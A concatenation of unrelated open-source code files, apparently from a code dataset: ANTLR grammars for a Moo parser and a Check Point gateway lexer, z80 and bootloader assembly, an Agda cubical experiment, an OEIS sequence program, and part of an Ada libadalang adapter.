TRUE : [Tt][Rr][Uu][Ee] ;
fragment
FALSE : [Ff][Aa][Ll][Ss][Ee] ;
fragment ESCAPED_QUOTE : '\\"';
|
libsrc/_DEVELOPMENT/threads/mutex/z80/asm_spinlock_tryacquire.asm | ahjelm/z88dk | 640 | 166732 | <gh_stars>100-1000
SECTION code_clib
SECTION code_threads_mutex
PUBLIC asm_spinlock_tryacquire
.asm_spinlock_tryacquire
; enter : hl = & spinlock
;
; exit : hl = & spinlock
; carry reset if spinlock acquired
;
; uses : f
IF __CPU_INTEL__
scf
inc (hl) ; atomic operation
jp NZ,acquisition_failed
ccf ; if acquisition succeeded
ret
.acquisition_failed
dec (hl)
ret
ELSE
scf
rr (hl) ; atomic operation
ret
ENDIF
|
Cubical/Experiments/Problem.agda | cj-xu/cubical | 0 | 13159 | <reponame>cj-xu/cubical
-- An example of something where normalization is surprisingly slow
{-# OPTIONS --cubical --safe #-}
module Cubical.Experiments.Problem where
open import Cubical.Core.Everything
open import Cubical.Foundations.Prelude
open import Cubical.Data.Int
open import Cubical.HITs.S1
open import Cubical.HITs.S2
open import Cubical.HITs.S3
open import Cubical.HITs.Join
open import Cubical.HITs.Hopf
ptType : Type _
ptType = Σ Type₀ \ A → A
pt : (A : ptType) → A .fst
pt A = A .snd
S¹pt : ptType
S¹pt = (S¹ , base)
S²pt : ptType
S²pt = (S² , base)
S³pt : ptType
S³pt = (S³ , base)
joinpt : ptType
joinpt = (join S¹ S¹ , inl base)
Ω : (A : ptType) → ptType
Ω A = Path _ (pt A) (pt A) , refl
Ω² : (A : ptType) → ptType
Ω² A = Ω (Ω A)
Ω³ : (A : ptType) → ptType
Ω³ A = Ω² (Ω A)
α : join S¹ S¹ → S²
α (inl _) = base
α (inr _) = base
α (push x y i) = (merid y ∙ merid x) i
where
merid : S¹ → Path S² base base
merid base = refl
merid (loop i) = λ j → surf i j
-- The tests
test0To2 : Ω³ S³pt .fst
test0To2 i j k = surf i j k
f3 : Ω³ S³pt .fst → Ω³ joinpt .fst
f3 p i j k = S³→joinS¹S¹ (p i j k)
test0To3 : Ω³ joinpt .fst
test0To3 = f3 test0To2
f4 : Ω³ joinpt .fst → Ω³ S²pt .fst
f4 p i j k = α (p i j k)
test0To4 : Ω³ S²pt .fst
test0To4 = f4 test0To3
innerpath : ∀ i j → HopfS² (test0To4 i j i1)
innerpath i j = transp (λ k → HopfS² (test0To4 i j k)) i0 base
-- C-c C-n problem uses a lot of memory
problem : pos 0 ≡ pos 0
problem i = transp (λ j → helix (innerpath i j)) i0 (pos 0)
-- Lots of tests: (thanks Evan!)
winding2 : Path (Path S² base base) refl refl → Int
winding2 p = winding (λ j → transp (λ i → HopfS² (p i j)) i0 base)
test0 : Int
test0 = winding2 (λ i j → surf i j)
test1 : Int
test1 = winding2 (λ i j → surf j i)
test2 : Int
test2 = winding2 (λ i j → hcomp (λ _ → λ { (i = i0) → base ; (i = i1) → base ; (j = i0) → base ; (j = i1) → base}) (surf i j))
test3 : Int
test3 = winding2 (λ i j → hcomp (λ k → λ { (i = i0) → surf j k ; (i = i1) → base ; (j = i0) → base ; (j = i1) → base}) base)
test4 : Int
test4 = winding2 (λ i j → hcomp (λ k → λ { (i = i0) → surf j k ; (i = i1) → base ; (j = i0) → base ; (j = i1) → base}) base)
test5 : Int
test5 = winding2 (λ i j → hcomp (λ k → λ { (i = i0) → base ; (i = i1) → base ; (j = i0) → surf k i ; (j = i1) → base}) base)
test6 : Int
test6 = winding2 (λ i j → hcomp (λ k → λ { (i = i0) → base ; (i = i1) → base ; (j = i0) → base ; (j = i1) → surf k i}) base)
test7 : Int
test7 = winding2 (λ i j → hcomp (λ k → λ { (i = i0) → base ; (i = i1) → surf j k ; (j = i0) → base ; (j = i1) → base}) (surf i j))
test8 : Int
test8 = winding2 (λ i j → hcomp (λ k → λ { (i = i0) → base ; (i = i1) → base ; (j = i0) → surf k i ; (j = i1) → base}) (surf i j))
test9 : Int
test9 = winding2 (λ i j → hcomp (λ k → λ { (i = i0) → base ; (i = i1) → base ; (j = i0) → base ; (j = i1) → surf k i}) (surf i j))
test10 : Int
test10 = winding2 (λ i j → hcomp (λ k → λ { (i = i0) → surf j k ; (i = i1) → base ; (j = i0) → base ; (j = i1) → base}) (surf i j))
-- Tests using HopfS²'
winding2' : Path (Path S² base base) refl refl → Int
winding2' p = winding (λ j → transp (λ i → HopfS²' (p i j)) i0 base)
test0' : Int
test0' = winding2' (λ i j → surf i j)
test1' : Int
test1' = winding2' (λ i j → surf j i)
test2' : Int
test2' = winding2' (λ i j → hcomp (λ _ → λ { (i = i0) → base ; (i = i1) → base ; (j = i0) → base ; (j = i1) → base}) (surf i j))
test3' : Int
test3' = winding2' (λ i j → hcomp (λ k → λ { (i = i0) → surf j k ; (i = i1) → base ; (j = i0) → base ; (j = i1) → base}) base)
test4' : Int
test4' = winding2' (λ i j → hcomp (λ k → λ { (i = i0) → surf j k ; (i = i1) → base ; (j = i0) → base ; (j = i1) → base}) base)
test5' : Int
test5' = winding2' (λ i j → hcomp (λ k → λ { (i = i0) → base ; (i = i1) → base ; (j = i0) → surf k i ; (j = i1) → base}) base)
test6' : Int
test6' = winding2' (λ i j → hcomp (λ k → λ { (i = i0) → base ; (i = i1) → base ; (j = i0) → base ; (j = i1) → surf k i}) base)
test7' : Int
test7' = winding2' (λ i j → hcomp (λ k → λ { (i = i0) → base ; (i = i1) → surf j k ; (j = i0) → base ; (j = i1) → base}) (surf i j))
test8' : Int
test8' = winding2' (λ i j → hcomp (λ k → λ { (i = i0) → base ; (i = i1) → base ; (j = i0) → surf k i ; (j = i1) → base}) (surf i j))
test9' : Int
test9' = winding2' (λ i j → hcomp (λ k → λ { (i = i0) → base ; (i = i1) → base ; (j = i0) → base ; (j = i1) → surf k i}) (surf i j))
test10' : Int
test10' = winding2' (λ i j → hcomp (λ k → λ { (i = i0) → surf j k ; (i = i1) → base ; (j = i0) → base ; (j = i1) → base}) (surf i j))
|
MooParser.g4 | wiredwiz/Moo-Parser | 0 | 4401 | parser grammar MooParser;
options { tokenVocab=MooLexer; }
/*
* Parser Rules
*/
code
: statementList EOF
| EOF
;
statementList
: statement*
;
statement
: expression SEMI
| ifStatement
| returnStatement SEMI
| forStatement
| whileStatement
| forkStatement
| tryExceptStatement
| tryFinallyStatement
| breakStatement SEMI
| continueStatement SEMI
;
ifStatement
: IF '(' expression ')' statementList elseifStatement* (elseStatement+)? ENDIF;
elseifStatement
: ELSEIF '(' expression ')' statementList;
elseStatement
: ELSE statementList;
forStatement
: FOR IDENTIFIER IN '(' expression ')' statementList ENDFOR
| FOR IDENTIFIER IN '[' (expression '..' (expression | '$')) ']' statementList ENDFOR;
whileStatement
: WHILE IDENTIFIER? '(' expression ')' statementList ENDWHILE;
forkStatement
: FORK '(' expression ')' statementList ENDFORK;
returnStatement
: RETURN (expression)?;
tryExceptStatement
: TRY statementList exceptStatement+ ENDTRY;
exceptStatement
: EXCEPT IDENTIFIER? '(' exceptionCodes ')' statementList;
exceptionCodes
: '@' expression
| ( IDENTIFIER | (ERROR (COMMA ERROR)*?));
tryFinallyStatement
: TRY statementList FINALLY statementList ENDTRY;
breakStatement
: BREAK IDENTIFIER?;
continueStatement
: CONTINUE IDENTIFIER?;
list
: '{' ((expression) (COMMA expression)*?)? '}'
;
expression
: '(' expression ')' #ParenthesisExpression
| expression '?' expression '|' expression #ConditionalExpression
| '`' expression '!' exceptionCodes ('=>' expression)? '\'' #ErrorCatchExpression
| '@' expression #SplicerExpression
| expression '[' (expression | '$') ']' #IndexedExpression
| expression '[' (expression '..' (expression | '$')) ']' #RangeIndexedExpression
| coreProperty #CorePropertyExpression
| expression property #PropertyExpression
| expression verb '(' callArguments ')' #VerbCallExpression
| DOLLAR IDENTIFIER '(' callArguments ')' #CoreVerbCallExpression
| IDENTIFIER '(' callArguments ')' #BuiltinFunctionCallExpression
| '!' expression #NegationExpression
| expression '^' expression #PowerExpression
| expression operator=('*' | '/' | '%') expression #MultiplyDivideModulusExpression
| expression operator=('+' | '-') expression #PlusMinusExpression
| expression operator=(IN | '<' | '>' | '==' | '!=' | '<=' | '>=') expression #ComparisonExpression
| expression operator=('||' | '&&') expression #LogicalAndOrExpression
| '{' scatteringTarget '}' '=' expression #ScatteringAssignmentExpression
| expression operator='=' expression #AssignmentExpression
| ERROR #ErrorLiteralExpression
| STRING #StringLiteralExpression
| OBJECT #ObjectLiteralExpression
| NUMBER #NumberLiteralExpression
| FLOAT #FloatLiteralExpression
| list #ListLiteralExpression
| IDENTIFIER #IdentifierExpression
;
coreProperty
: DOLLAR IDENTIFIER;
property
: '.' (IDENTIFIER | '(' expression ')');
verb
: ':' (IDENTIFIER | '(' expression ')');
callArguments
: (expression (COMMA expression)*?)?;
scatteringTarget
: scatteringTargetItem (COMMA scatteringTargetItem)*?;
scatteringTargetItem
: IDENTIFIER
| '?' IDENTIFIER ('=' expression)?
| '@' IDENTIFIER
;
|
boot/pikos_disk.asm | pikobyte/pikos | 1 | 20536 | ;
; pikos_disk.asm
; pikOS disk handling routine.
;
; A typical disk is accessed through 3 values: cylinder, head and sector (CHS).
; We can use the BIOS interrupt int 0x13 after setting al to 0x02 to access a
; disk.
; Load the sectors in DH from the drive in DL into the register ES:BX.
disk_load:
pusha ; Push all of the registers onto the stack
push dx ; Store number of sectors to be read
mov ah, 0x02
mov al, dh ; Read DH number of sectors
mov cl, 0x02 ; Start reading from the sector after the boot sector
mov ch, 0x00 ; Select cylinder 0
mov dh, 0x00 ; Select head 0
int 0x13 ; BIOS disk interrupt
jc disk_error ; Show error if overflow occurred
pop dx
cmp al, dh
jne sectors_error ; Show error if incorrect number of sectors read
popa
ret ; Restore stack state and return
; Prints the disk error, the disk which gave the error as well as the error
; code. Hang the program if an error is given.
disk_error:
mov bx, DISK_ERROR
call print_str
call print_ln
mov dh, ah
call print_hex
jmp $
; Prints out the sectors error.
sectors_error:
mov bx, SECTORS_ERROR
call print_str
; Error string variables.
DISK_ERROR: db "Disk read error!", 0
SECTORS_ERROR: db "Incorrect number of sectors read!", 0 |
projects/batfish/src/main/antlr4/org/batfish/vendor/check_point_gateway/grammar/CheckPointGatewayLexer.g4 | shiibaryu/batfish | 0 | 6347 | lexer grammar CheckPointGatewayLexer;
options {
superClass = 'CheckPointGatewayBaseLexer';
}
tokens {
DOUBLE_QUOTE,
QUOTED_TEXT,
SINGLE_QUOTE,
STR_SEPARATOR,
WORD
}
// CheckPointGateway keywords
ACTIVE_BACKUP: 'active-backup';
ADD: 'add';
ADDRESS: 'address';
AUTO_NEGOTIATION: 'auto-negotiation';
BLACKHOLE: 'blackhole';
BONDING: 'bonding';
COMMENT: 'comment' -> pushMode(M_SingleStr);
COMMENTS: 'comments' -> pushMode(M_SingleStr);
DEFAULT: 'default';
FAST: 'fast';
FORCE: 'force';
GATEWAY: 'gateway';
GROUP: 'group';
HOSTNAME: 'hostname' -> pushMode(M_SingleStr);
INTERFACE: 'interface' -> pushMode(M_SingleStr);
IPV4_ADDRESS: 'ipv4-address';
LACP_RATE: 'lacp-rate';
LAYER2: 'layer2';
LAYER3_4: 'layer3+4';
LINK_SPEED: 'link-speed';
LOGICAL: 'logical' -> pushMode(M_SingleStr);
MASK_LENGTH: 'mask-length';
MODE: 'mode';
MTU: 'mtu';
NEXTHOP: 'nexthop';
OFF: 'off';
ON: 'on';
PRIORITY: 'priority';
REJECT: 'reject';
ROUND_ROBIN: 'round-robin';
SET: 'set';
SLOW: 'slow';
STATE: 'state';
STATIC_ROUTE: 'static-route';
SUBNET_MASK: 'subnet-mask';
XMIT_HASH_POLICY: 'xmit-hash-policy';
XOR: 'xor';
// Numeric tokens
EIGHT_ZERO_TWO_THREE_AD: '8023AD';
HUNDRED_M_FULL: '100M/full';
HUNDRED_M_HALF: '100M/half';
TEN_M_FULL: '10M/full';
TEN_M_HALF: '10M/half';
THOUSAND_M_FULL: '1000M/full';
// Complex tokens
COMMENT_LINE
:
F_Whitespace* '#'
{lastTokenType() == NEWLINE || lastTokenType() == -1}?
F_NonNewlineChar* (F_Newline | EOF) -> channel(HIDDEN)
;
IP_ADDRESS: F_IpAddress;
IP_PREFIX: F_IpPrefix;
NEWLINE: F_Newline+;
UINT8: F_Uint8;
UINT16: F_Uint16;
UINT32: F_Uint32;
WS: F_Whitespace+ -> channel(HIDDEN);
// Fragments
fragment
F_DecByte
:
F_Digit
| F_PositiveDigit F_Digit
| '1' F_Digit F_Digit
| '2' [0-4] F_Digit
| '25' [0-5]
;
fragment
F_Digit: [0-9];
fragment
F_IpAddress: F_DecByte '.' F_DecByte '.' F_DecByte '.' F_DecByte;
fragment
F_IpPrefix: F_IpAddress '/' F_IpPrefixLength;
fragment
F_IpPrefixLength
:
F_Digit
| [12] F_Digit
| [3] [012]
;
fragment
F_Newline
:
[\r\n] // carriage return or line feed
;
fragment
F_NonNewlineChar
:
~[\r\n] // carriage return or line feed
;
fragment
F_PositiveDigit: [1-9];
fragment
F_Uint8
:
F_Digit
| F_PositiveDigit F_Digit
| '1' F_Digit F_Digit
| '2' [0-4] F_Digit
| '25' [0-5]
;
fragment
F_Uint16
:
F_Digit
| F_PositiveDigit F_Digit F_Digit? F_Digit?
| [1-5] F_Digit F_Digit F_Digit F_Digit
| '6' [0-4] F_Digit F_Digit F_Digit
| '65' [0-4] F_Digit F_Digit
| '655' [0-2] F_Digit
| '6553' [0-5]
;
fragment
F_Uint32
:
// 0-4294967295
F_Digit
| F_PositiveDigit F_Digit F_Digit? F_Digit? F_Digit? F_Digit? F_Digit?
F_Digit? F_Digit?
| [1-3] F_Digit F_Digit F_Digit F_Digit F_Digit F_Digit F_Digit F_Digit
F_Digit
| '4' [0-1] F_Digit F_Digit F_Digit F_Digit F_Digit F_Digit F_Digit F_Digit
| '42' [0-8] F_Digit F_Digit F_Digit F_Digit F_Digit F_Digit F_Digit
| '429' [0-3] F_Digit F_Digit F_Digit F_Digit F_Digit F_Digit
| '4294' [0-8] F_Digit F_Digit F_Digit F_Digit F_Digit
| '42949' [0-5] F_Digit F_Digit F_Digit F_Digit
| '429496' [0-6] F_Digit F_Digit F_Digit
| '4294967' [0-1] F_Digit F_Digit
| '42949672' [0-8] F_Digit
| '429496729' [0-5]
;
fragment
F_EscapedDoubleQuote: '\\"';
fragment
F_EscapedSingleQuote: '\\' ['];
fragment
F_Whitespace
:
[ \t\u000C] // tab or space or unicode 0x000C
;
fragment
F_WordChar: ~( [ \t\u000C\u00A0\n\r(),!$'"*#] | '[' | ']' );
fragment
F_Word: F_WordChar+;
// Modes
mode M_DoubleQuote;
M_DoubleQuote_DOUBLE_QUOTE: '"' -> type(DOUBLE_QUOTE), popMode;
M_DoubleQuote_QUOTED_TEXT: (F_EscapedDoubleQuote | ~'"')+ -> type(QUOTED_TEXT);
mode M_SingleQuote;
M_SingleQuote_SINGLE_QUOTE: ['] -> type(SINGLE_QUOTE), popMode;
M_SingleQuote_QUOTED_TEXT: (F_EscapedSingleQuote | ~['])+ -> type(QUOTED_TEXT);
mode M_SingleStr;
M_SingleStr_WS: F_Whitespace+ -> type(STR_SEPARATOR), mode(M_SingleStrValue);
M_SingleStr_NEWLINE: F_Newline -> type(NEWLINE), popMode;
mode M_SingleStrValue;
M_SingleStrValue_DOUBLE_QUOTE: '"' -> type(DOUBLE_QUOTE), pushMode(M_DoubleQuote);
M_SingleStrValue_SINGLE_QUOTE: ['] -> type(SINGLE_QUOTE), pushMode(M_SingleQuote);
M_SingleStrValue_WORD: F_Word -> type(WORD);
M_SingleStrValue_WS: F_Whitespace+ -> skip, popMode;
M_SingleStrValue_NEWLINE: F_Newline -> type(NEWLINE), popMode;
|
programs/oeis/254/A254758.asm | jmorken/loda | 1 | 25516 | ; A254758: Part of the positive proper solutions x of the Pell equation x^2 - 2*y^2 = - 7^2 based on the fundamental solution (x0, y0)= (1, 5).
; 1,23,137,799,4657,27143,158201,922063,5374177,31322999,182563817,1064059903,6201795601,36146713703,210678486617,1227924205999,7156866749377,41713276290263,243122790992201,1417023469662943
mul $0,2
mov $1,1
lpb $0
sub $0,1
mov $3,$1
mov $1,11
add $2,$3
add $1,$2
sub $1,1
add $2,$3
lpe
|
src/frontend/Experimental_Ada_ROSE_Connection/parser/lal_adapter/source/lal_adapter-node.adb | ouankou/rose | 488 | 14815 | with Ada.Tags;
with Generic_Logging;
with Langkit_Support.Slocs;
with Langkit_Support.Text;
With System.Address_Image;
package body Lal_Adapter.Node is
package Slocs renames Langkit_Support.Slocs;
package Text renames Langkit_Support.Text;
-----------------------------------------------------------------------------
-- Element_ID support
-- Unlike ASIS Elements, libadalang Nodes have no unique ID as far as I can tell.
-- Until we can come up with something better, we will just use an incrementing
-- counter. THIS GIVES A DIFFERENT ANSWER EVERY TIME Get_Element_ID IS CALLED.
-- This is good to keep all nodes from having the same ID, but it is bad for
-- determinining if two nodes are the same.
-- TODO: Implement by storing and hashing Nodes?
Last_Node_ID : Natural := anhS.Empty_ID;
Node_Map : Node_ID_Map.Map := Node_ID_Map.Empty_Map;
------------
-- EXPORTED:
------------
function Get_Element_ID
(Node : in LAL.Ada_Node'Class)
return Element_ID is
-- Tried to use address for mapping but got nodes with same address.
-- Use Image for now till we have better option for the mapping.
Node_Image : String := LAL.Image(Node);
C : constant Node_ID_Map.Cursor := Node_Map.Find (Node_Image);
use type Node_ID_Map.Cursor;
Node_Id : Integer := 0;
begin
-- Put_Line("Node: " & Node_Image);
if LAL.Is_Null (Node) then
return No_Element_ID;
else
if C = Node_ID_Map.No_Element then
Last_Node_ID := Last_Node_ID + 1;
Node_Map.Insert (Node_Image, Last_Node_ID);
Node_Id := Last_Node_ID;
else
Node_Id := Node_ID_Map.Element (C);
end if;
return (Node_ID => Node_Id,
Kind => Node.Kind);
end if;
end Get_Element_ID;
------------
-- EXPORTED:
------------
function To_Element_ID
(This : in Element_ID)
return a_nodes_h.Element_ID
is
Result : Integer;
begin
Result := Integer (This.Node_ID) * 1000 +
LALCO.Ada_Node_Kind_Type'Pos(This.Kind);
return a_nodes_h.Element_ID (Result);
end To_Element_ID;
------------
-- EXPORTED:
------------
function Get_Element_ID
(Element : in LAL.Ada_Node'Class)
return a_nodes_h.Element_ID
is
(To_Element_ID (Get_Element_ID (Element)));
------------
-- EXPORTED:
------------
function To_String
(This : in a_nodes_h.Element_ID)
return String
is
(To_String (This, Element_ID_Kind));
-- END Element_ID support
-----------------------------------------------------------------------------
----------------------
-- EXPORTED (private):
----------------------
procedure Add_To_Dot_Label
(This : in out Class;
Value : in String) is
begin
Add_To_Dot_Label (Dot_Label => This.Dot_Label,
Outputs => This.Outputs,
Value => Value);
end Add_To_Dot_Label;
procedure Add_To_Dot_Label
(This : in out Class;
Name : in String;
Value : in String) is
begin
Add_To_Dot_Label (Dot_Label => This.Dot_Label,
Outputs => This.Outputs,
Name => Name,
Value => Value);
end Add_To_Dot_Label;
procedure Add_To_Dot_Label
(This : in out Class;
Name : in String;
Value : in a_nodes_h.Element_ID) is
begin
This.Add_To_Dot_Label (Name, To_String (Value));
end Add_To_Dot_Label;
procedure Add_To_Dot_Label
(This : in out Class;
Name : in String;
Value : in Boolean) is
begin
Add_To_Dot_Label (Dot_Label => This.Dot_Label,
Outputs => This.Outputs,
Name => Name,
Value => Value);
end Add_To_Dot_Label;
procedure Add_Dot_Edge
(This : in out Class;
From : in a_nodes_h.Element_ID;
To : in a_nodes_h.Element_ID;
Label : in String)
is
begin
Add_Dot_Edge (Outputs => This.Outputs,
From => From,
From_Kind => Element_ID_Kind,
To => To,
To_Kind => Element_ID_Kind,
Label => Label);
end Add_Dot_Edge;
procedure Add_To_Dot_Label_And_Edge
(This : in out Class;
Label : in String;
To : in a_nodes_h.Element_ID) is
begin
This.Add_To_Dot_Label (Label, To_String (To));
This.Add_Dot_Edge (From => This.Element_IDs.First_Element,
To => To,
Label => Label);
end Add_To_Dot_Label_And_Edge;
procedure Add_Not_Implemented
(This : in out Class;
Ada_Version : in Ada_Versions := Supported_Ada_Version) is
begin
if Ada_Version <= Supported_Ada_Version then
This.Add_To_Dot_Label
("LIBADALANG_PROCESSING", String'("NOT_IMPLEMENTED_COMPLETELY"));
This.Outputs.A_Nodes.Add_Not_Implemented;
else
This.Add_To_Dot_Label
("LIBADALANG_PROCESSING",
Ada_Version'Image & "_FEATURE_NOT_IMPLEMENTED_IN_" &
Supported_Ada_Version'Image);
end if;
end Add_Not_Implemented;
------------
-- Exported:
------------
procedure Process_Ada_Abort_Node
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Abort_Node";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Abort_Node := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Abort_Node
case Kind is
when Ada_Abort_Absent =>
declare
Abort_Absent_Node : constant LAL.Abort_Absent := LAL.As_Abort_Absent (Node);
begin
NULL;
end;
when Ada_Abort_Present =>
declare
Abort_Present_Node : constant LAL.Abort_Present := LAL.As_Abort_Present (Node);
begin
NULL;
end;
end case;
end Process_Ada_Abort_Node;
procedure Process_Ada_Abstract_Node
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Abstract_Node";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Abstract_Node := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Abstract_Node
case Kind is
when Ada_Abstract_Absent =>
declare
Abstract_Absent_Node : constant LAL.Abstract_Absent := LAL.As_Abstract_Absent (Node);
begin
NULL;
end;
when Ada_Abstract_Present =>
declare
Abstract_Present_Node : constant LAL.Abstract_Present := LAL.As_Abstract_Present (Node);
begin
NULL;
end;
end case;
end Process_Ada_Abstract_Node;
procedure Process_Ada_Ada_List
(This : in out Class;
-- Node : in LAL.Stmt'Class;
Node : in LAL.Ada_Node'Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Ada_List";
package Logging is new Generic_Logging (Module_Name); use Logging;
-- Auto : Logging.Auto_Logger; -- Logs BEGIN and END
-- Will raise Constraint_Error if Node.Kind is not in Ada_Stmt:
Kind : constant LALCO.Ada_Ada_List := Node.Kind;
use LALCO; -- For subtype names in case stmt
begin -- Process_Ada_Ada_List
case Kind is
when Ada_Ada_Node_List =>
declare
Ada_Node_List_Node : constant LAL.Ada_Node_List := LAL.As_Ada_Node_List (Node);
NodeListFirst : constant Positive := LAL.Ada_Node_List_First (Ada_Node_List_Node);
begin
Log ("NodeListFirst: " & NodeListFirst'Image);
end;
when Ada_Alternatives_List =>
declare
Alternatives_List_Node : constant LAL.Alternatives_List := LAL.As_Alternatives_List (Node);
begin
NULL;
end;
when Ada_Constraint_List =>
declare
Constraint_List_Node : constant LAL.Constraint_List := LAL.As_Constraint_List (Node);
begin
NULL;
end;
when Ada_Decl_List =>
declare
Decl_List_Node : constant LAL.Decl_List := LAL.As_Decl_List (Node);
begin
NULL;
end;
when Ada_Stmt_List =>
declare
Stmt_List_Node : constant LAL.Stmt_List := LAL.As_Stmt_List (Node);
begin
NULL;
end;
when Ada_Aspect_Assoc_List =>
declare
Aspect_Assoc_List_Node : constant LAL.Aspect_Assoc_List := LAL.As_Aspect_Assoc_List (Node);
AspectAsoocListFirst : constant Positive := LAL.Aspect_Assoc_List_First (Aspect_Assoc_List_Node);
begin
Log ("AspectAsoocListFirst: " & AspectAsoocListFirst'Image);
end;
when Ada_Base_Assoc_List =>
declare
Base_Assoc_List_Node : constant LAL.Base_Assoc_List := LAL.As_Base_Assoc_List (Node);
BaseAsoocListFirst : constant Positive := LAL.Base_Assoc_List_First (Base_Assoc_List_Node);
begin
Log ("BaseAsoocListFirst: " & BaseAsoocListFirst'Image);
end;
when Ada_Assoc_List =>
declare
Assoc_list_Node : constant LAL.Assoc_list := LAL.As_Assoc_list (Node);
begin
NULL;
end;
when Ada_Case_Expr_Alternative_List =>
declare
Case_Expr_Alternative_List_Node : constant LAL.Case_Expr_Alternative_List := LAL.As_Case_Expr_Alternative_List (Node);
CaseExprAlternativeListFirst : constant Positive := LAL.Case_Expr_Alternative_List_First (Case_Expr_Alternative_List_Node);
begin
Log ("CaseExprAlternativeListFirst: " & CaseExprAlternativeListFirst'Image);
end;
when Ada_Case_Stmt_Alternative_List =>
declare
Case_Stmt_Alternative_List_Node : constant LAL.Case_Stmt_Alternative_List := LAL.As_Case_Stmt_Alternative_List (Node);
CaseStmtAlernativeListFirst : constant Positive := LAL.Case_Stmt_Alternative_List_First (Case_Stmt_Alternative_List_Node);
begin
Log ("CaseStmtAlernativeListFirst: " & CaseStmtAlernativeListFirst'Image);
end;
when Ada_Compilation_Unit_List =>
declare
Compilation_Unit_List_Node : constant LAL.Compilation_Unit_List := LAL.As_Compilation_Unit_List (Node);
CompilationUnitListFirst : constant Positive := LAL.Compilation_Unit_List_First (Compilation_Unit_List_Node);
begin
Log ("CompilationUnitListFirst: " & CompilationUnitListFirst'Image);
end;
when Ada_Contract_Case_Assoc_List =>
declare
Contract_Case_Assoc_List_Node : constant LAL.Contract_Case_Assoc_List := LAL.As_Contract_Case_Assoc_List (Node);
ContractCastAssocListFirst : constant Positive := LAL.Contract_Case_Assoc_List_First (Contract_Case_Assoc_List_Node);
begin
Log ("ContractCastAssocListFirst: " & ContractCastAssocListFirst'Image);
end;
when Ada_Defining_Name_List =>
declare
Defining_Name_List_Node : constant LAL.Defining_Name_List := LAL.As_Defining_Name_List (Node);
DefiningNameListFirst : constant Positive := LAL.Defining_Name_List_First (Defining_Name_List_Node);
begin
Log ("DefiningNameListFirst: " & DefiningNameListFirst'Image);
end;
when Ada_Discriminant_Spec_List =>
declare
Discriminant_Spec_List_Node : constant LAL.Discriminant_Spec_List := LAL.As_Discriminant_Spec_List (Node);
DiscriminantSpecListNodeFirst : constant Positive := LAL.Discriminant_Spec_List_First (Discriminant_Spec_List_Node);
begin
Log ("DiscriminantSpecListNodeFirst: " & DiscriminantSpecListNodeFirst'Image);
end;
when Ada_Elsif_Expr_Part_List =>
declare
Elsif_Expr_Part_List_Node : constant LAL.Elsif_Expr_Part_List := LAL.As_Elsif_Expr_Part_List (Node);
ElsifExprPartListNodeFirst : constant Positive := LAL.Elsif_Expr_Part_List_First (Elsif_Expr_Part_List_Node);
begin
Log ("ElsifExprPartListNodeFirst: " & ElsifExprPartListNodeFirst'Image);
end;
when Ada_Elsif_Stmt_Part_List =>
declare
Elsif_Stmt_Part_List_Node : constant LAL.Elsif_Stmt_Part_List := LAL.As_Elsif_Stmt_Part_List (Node);
ElsifStmtPartListNodeFirst : constant Positive := LAL.Elsif_Stmt_Part_List_First (Elsif_Stmt_Part_List_Node);
begin
Log ("ElsifExprPartListNodeFirst: " & ElsifStmtPartListNodeFirst'Image);
end;
when Ada_Enum_Literal_Decl_List =>
declare
Enum_Literal_Decl_List_Node : constant LAL.Enum_Literal_Decl_List := LAL.As_Enum_Literal_Decl_List (Node);
EnumLiteralDeclListNodeFirst : constant Positive := LAL.Enum_Literal_Decl_List_First (Enum_Literal_Decl_List_Node);
begin
Log ("EnumLiteralDeclListNodeFirst: " & EnumLiteralDeclListNodeFirst'Image);
end;
when Ada_Expr_Alternatives_List =>
declare
Expr_Alternatives_List_Node : constant LAL.Expr_Alternatives_List := LAL.As_Expr_Alternatives_List (Node);
begin
NULL;
end;
when Ada_Discriminant_Choice_List =>
declare
Discriminant_Choice_List_Node : constant LAL.Discriminant_Choice_List := LAL.As_Discriminant_Choice_List (Node);
begin
NULL;
end;
when Ada_Name_List =>
declare
Name_List_Node : constant LAL.Name_List := LAL.As_Name_List (Node);
NameListFirst : constant Positive := LAL.Name_List_First (Name_List_Node);
begin
Log ("NameListFirst: " & NameListFirst'Image);
end;
when Ada_Parent_List =>
declare
Parent_List_Node : constant LAL.Parent_List := LAL.As_Parent_List (Node);
begin
NULL;
end;
when Ada_Param_Spec_List =>
declare
Param_Spec_List_Node : constant LAL.Param_Spec_List := LAL.As_Param_Spec_List (Node);
ParamSpecListFirst : constant Positive := LAL.Param_Spec_List_First (Param_Spec_List_Node);
begin
Log ("ParamSpecListFirst: " & ParamSpecListFirst'Image);
end;
when Ada_Pragma_Node_List =>
declare
Pragma_Node_List_Node : constant LAL.Pragma_Node_List := LAL.As_Pragma_Node_List (Node);
PragmaNodeListFirst : constant Positive := LAL.Pragma_Node_List_First (Pragma_Node_List_Node);
begin
Log ("PragmaNodeListFirst: " & PragmaNodeListFirst'Image);
end;
when Ada_Select_When_Part_List =>
declare
Select_When_Part_List_Node : constant LAL.Select_When_Part_List := LAL.As_Select_When_Part_List (Node);
SelectWhenPartListFirst : constant Positive := LAL.Select_When_Part_List_First (Select_When_Part_List_Node);
begin
Log ("SelectWhenPartListFirst: " & SelectWhenPartListFirst'Image);
end;
when Ada_Unconstrained_Array_Index_List =>
declare
Unconstrained_Array_Index_List_Node : constant LAL.Unconstrained_Array_Index_List := LAL.As_Unconstrained_Array_Index_List (Node);
UnconstrainedArrayIndexListFirst : constant Positive := LAL.Unconstrained_Array_Index_List_First (Unconstrained_Array_Index_List_Node);
begin
Log ("UnconstrainedArrayIndexListFirst: " & UnconstrainedArrayIndexListFirst'Image);
end;
when Ada_Variant_List =>
declare
